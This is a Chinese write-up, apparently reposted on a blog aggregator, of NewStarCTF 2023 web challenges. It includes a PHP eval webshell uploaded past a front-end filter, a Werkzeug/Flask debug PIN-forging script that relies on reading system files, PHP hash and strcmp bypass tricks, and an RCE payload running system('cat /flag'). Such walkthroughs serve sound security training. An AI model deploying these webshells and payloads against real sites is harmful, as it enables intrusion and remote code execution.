BUUCTF NewStarCTF 2023 WEB题WP

这篇具有很好参考价值的文章主要介绍了BUUCTF NewStarCTF 2023 WEB题WP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一.泄露的秘密

直接在URL处访问www.zip文件

将下载下来的www.zip文件解压即可得到flag

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

常见的文件泄露一般泄露的都是网站的备份文件,常见的备份的文件名通常为 wwwroot、www、子域名等,压缩包后缀通常为 zip、tar.gz 等

其他的也有配置文件的泄露。建议自己收集一个敏感文件的字典

二.Begin of Upload

很简单的文件上传

查看网页源码可以发现限制上传的js代码,是最没用的前端过滤

这里只需要F12,再F1,选择禁用js代码即可

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

接下来构造一个一句话木马

<?php @eval($_POST['a']); ?>

这里写用GET方式的马应该也可以,我没有试,感觉用webshell管理工具找flag更快

直接上传即可

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

打开自己的webshell管理工具,这里我用的蚁剑

URL地址是  IP/upload/demo.php

连接密码就是POST中的参数

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

点击测试连接,出现连接成功就代表成功了

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

选择保存,右键刚刚添加的数据

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

flag藏在根目录下

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

三.Begin of HTTP

提示我们使用GET方式传参

http://ip/?ctf=1

 BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

又让用POST传参

先找一下secret的值

查看源代码,再代码中藏着secret的值

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

再进行base64解码

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

n3wst4rCTF2023g00000d

接着我们使用burp抓包

将抓到的包改为POST请求方式

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记 这里要注意第一小关get请求的参数也要带着BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

 接下来把cookie的power值改为ctfer即可

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

 吧UA头改为NewStarCTF2023即可,注意不用带着浏览器三个字

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

这里需要添加一个Referer头,填入对应网址即可

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记 本地用户这里我卡了很久,最后是用的X-Real-IP这个头,确实没想到

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

 四.ErrorFlask

一看到Flask我就想到了之前做过的一个模板注入题和debug调试漏洞

来到题目,让我们穿一个number1和number2.那我们先传一个number1看看会咋样

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

 很熟悉的报错界面,看到这里我当时基本确定了是需要计算pin,通过python的shell交互找flag,顺着这个思路让我吃了大亏啊

先来揭秘flag在哪,万万没想到啊,flag就在这个报错界面啊

展开 File "/app/app.py", line 11, in hello 即可看到flag

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

说到这里了,我简单介绍一下flask debug漏洞

在这个报错界面,我们把鼠标随便放到一行上,可以看的这个小黑框

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

点一下就提示我们输入pin

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

 pin码的计算通常需要五个部分

首先是app的绝对路径,在报错界面即可找到

然后是uuidnode 通常在如下路径下

/sys/class/net/eth0/address

然后需要拿到ID 通常在如下这两个里面

/proc/sys/kernel/random/boot_id file

/proc/self/cgroup

最后需要username,一般在如下路径中

/etc/passwd 

最后放到脚本中即可计算出pin码

这里附上大佬写的脚本

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

最后将计算出的pin码输入即可获得一个python的shell交互界面,通常这个漏洞需要配合任意文件读取漏洞的

五.Begin of PHP

又是小闯关

先简单介绍下五小关的大体意思

  1. Level 1:要求用户提供两个参数 key1 和 key2,并检查它们是否不同且它们的MD5哈希值相等。

  2. Level 2:用户需要通过POST请求提供 key3,并检查它的MD5哈希值是否与SHA-1哈希值相等。

  3. Level 3:用户需要提供 key4 参数,然后检查它是否与文件 "/flag" 中的内容相等。

  4. Level 4:用户需要提供 key5 参数,然后检查它是否不是数字且大于 2023。

  5. Level 5:在这一级别,用户需要提供一些POST参数,并检查这些参数是否都不包含字母和数字。如果通过此检查,用户将能够查看 "/flag" 文件的内容。

如果两个字符经MD5加密后为 0exxxxx的形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,结果都是零,所以是相等的。

这里提供几个MD5后为0e的值

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

 顺利来到第二小关

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记 第二小关我们利用数组进行绕过

Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断。

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

来到第三关

strcmp是比较两个字符串,如果str1<str2 则返回<0 ,如果str1大于str2则返回>0 ,如果两者相等则返回0。

strcmp会判断字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

这里我们同样传入数组进行绕过

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

来到第四小关,要求传入的字符串不能是数字且大于2023

PHP的对字符串的转换规则是:若字符串以数字开头,则最终的转化结果为开头的数字,否则为0

所以这里我们传入2024a即可

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

来到最后一小关

也是通过数组绕过的。

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

六.R!C!E!

又是一段php代码

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

还是简单解释一下

首先检查POST方式传入的pssword和e_v.a.l的值是否为空,然后将pssword进行md5加密并传给变量password,e_v.a.l传给变量code,如果变量password的前六位为c4d038,也就是我们传入的password进行md5加密后的前六位为c4d038,再判断变量code中不包含那些过滤的字符,就是执行变量code的命令

这里有个大坑,e_v.a.l的命令不规范,三个点会被解析成_ ,这里就需要利用到php的一个特性了,大概是在php8.0版本以前的,"["会被解析成“_”,并且在“[”之后不规范的字符都不会再被转化,所以这里我们可以利用“[”进行绕过

后面命令执行的绕过方法有很多,随便用个自己喜欢的就行

password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

七.EasyLogin

先随便注册一个用户,登陆进去

登录进去发现一个奇奇怪怪的交互模式

这里尝试 ctrl+c 或者 ctrl+d 能不能结束会话

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

ctrl+d结束会话之后,我找了一圈目录,只有一个bin目录,一般在bin下存放的都是可执行的命令

好像都没啥用,这里我突发奇想,一直摁↑能不能找到之前执行的命令呢

这里发现了敏感的命令了

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

这三条命令简单来说

将两个密码字符串写入文件 weak-passwd.txt,然后从中随机选择一个密码,并将其存储在 PASSWORD 环境变量中,最后删除 weak-passwd.txt 文件

 看来admin的密码应该就是这其中两个了

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

这里两个密码都不对,我要骂人了!!!!!!!

最后跑字典,弱口令000000登录成功了

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记

提示用burp

最后在burp中发现一个302重定向请求,flag就在这里

BUUCTF NewStarCTF 2023 WEB题WP,靶场通关攻略,前端,安全,经验分享,笔记文章来源地址https://www.toymoban.com/news/detail-714501.html

到了这里,关于BUUCTF NewStarCTF 2023 WEB题WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • NewStarCTF 2023 公开赛道 WEEK4|CRYPTO 部分WP

    1、题目信息 提示: \\\"Schmidt Samoa\\\" 附件信息 2、解题方法 学了一个新技巧,哈哈哈。 简介 : Schmidt-Samoa密码系统,像rabin加密一样,其安全性基于整数因式分解的难度。但 Rabin 解密时会得到四个解,而 Schmidt-Samor 得到的是唯一解。 密钥生成 1.选取两个大的质数p和q并进行计算

    2024年02月08日
    浏览(43)
  • BUUCTF--Web篇详细wp

    CTF平台:https://buuoj.cn/ 使用万能密码登入即可。 flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76} F12 查看源代码 发现是 PHP 代码审计(小猫挺可爱呢~) 传了一个变量 然后是 GET 请求 如果 cat=dog 就会输出 flag 构造 Payload:/?cat=dog flag{86e415ca-8d55-4868-afb3-ec58d239dbb7} 打开网页看到滑稽图 直接 F12

    2024年02月03日
    浏览(34)
  • BUUCTF题目Web部分wp(持续更新)

    如有权限,查询当前用户可以访问的所有表 字符串拼接,避免字符串被过滤。 利用字符串内联注入 利用终止式SQL注入 。也就是利用SQL语法中的注释。 利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会

    2024年02月13日
    浏览(38)
  • 【BUUCTF N1BOOK】[第一章 web入门] 通关

    目录 前言 [第一章 web入门]常见的搜集 robots.txt有flag1 index.php~有flag2 .index.php.swp有flag3 [第一章 web入门]SQL注入-1 sqlmap一把梭 [第一章 web入门]afr_1 php伪协议 [第一章 web入门]afr_2 目录穿越,文件读取 [第一章 web入门]粗心的小李 1.下载GitHack 2..git/泄漏 [第一章 web入门]afr_3 N1BOOK 是

    2024年02月20日
    浏览(32)
  • [NewStarCTF 2023] web题解

    打开题目,提示有敏感信息泄露 直接扫一下目录,发现有 ./www.zip 访问然后下载下来,解压到桌面 源码和robots.txt分别是两部分flag 右键看下源码,发现对上传文件后缀名有检测 这里的检测是后缀名只需要出现合法的就行 我们上传1.jpg的一句话木马 然后抓包修改文件名为 1.

    2024年02月05日
    浏览(32)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(55)
  • 2023安洵杯web两道WP

    在首页提示存在eval和login的路由,在download存在任意文件下载 访问eval可以读取目录下的文件,知道/app/ pycache /part.cpython-311.pyc路径,然后使用download下载下来,进行反编译 使用在线工具进行反编译,得到session的key 然后对session进行伪造 登录成功 一看就是XML注入 打开网页发现

    2024年02月08日
    浏览(48)
  • 2023SHCTF web方向wp

    看一眼,你大爷,啥玩意都给我过滤完了。 还好下面有preg_replace()/e,会把replacement当作php语句执行 传参pattern=.*, .*表示任意字符,code={${phpinfo()}} ,为什么这样写,因为 , \\\'print_r(\\\"\\\\1\\\")\\\' ,如果直接传phpinfo(),会被当作字符串对待,而 php中{}里面的变量会被解析,这样就能执行

    2024年02月06日
    浏览(40)
  • 2023 SHCTF-校外赛道 WEB WP

    过滤了一些常用命令、数字等,空格也被过滤了,那么可以用${IFS}代替。ls也可以用,好好好,上传命令 得到 但要获取flag就需要使用通配符来绕过了。。因为过滤了flag字符 分析源码,第一步需要给num传参,不能为数字,但intval函数是用于获取参数的整数值,如果不是数 字

    2024年02月08日
    浏览(43)
  • [LitCTF2023] web方向全题解wp

    签到题,f12获取flag 这里注意看一下源代码,有彩蛋 先留着 前端js小游戏 开调试器进行代码审计 可知当游戏进入 finished 状态的时候会得到flag,可以直接找到 传参题,按照要求传参直接出 传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问 www.zip 下载

    2024年02月06日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包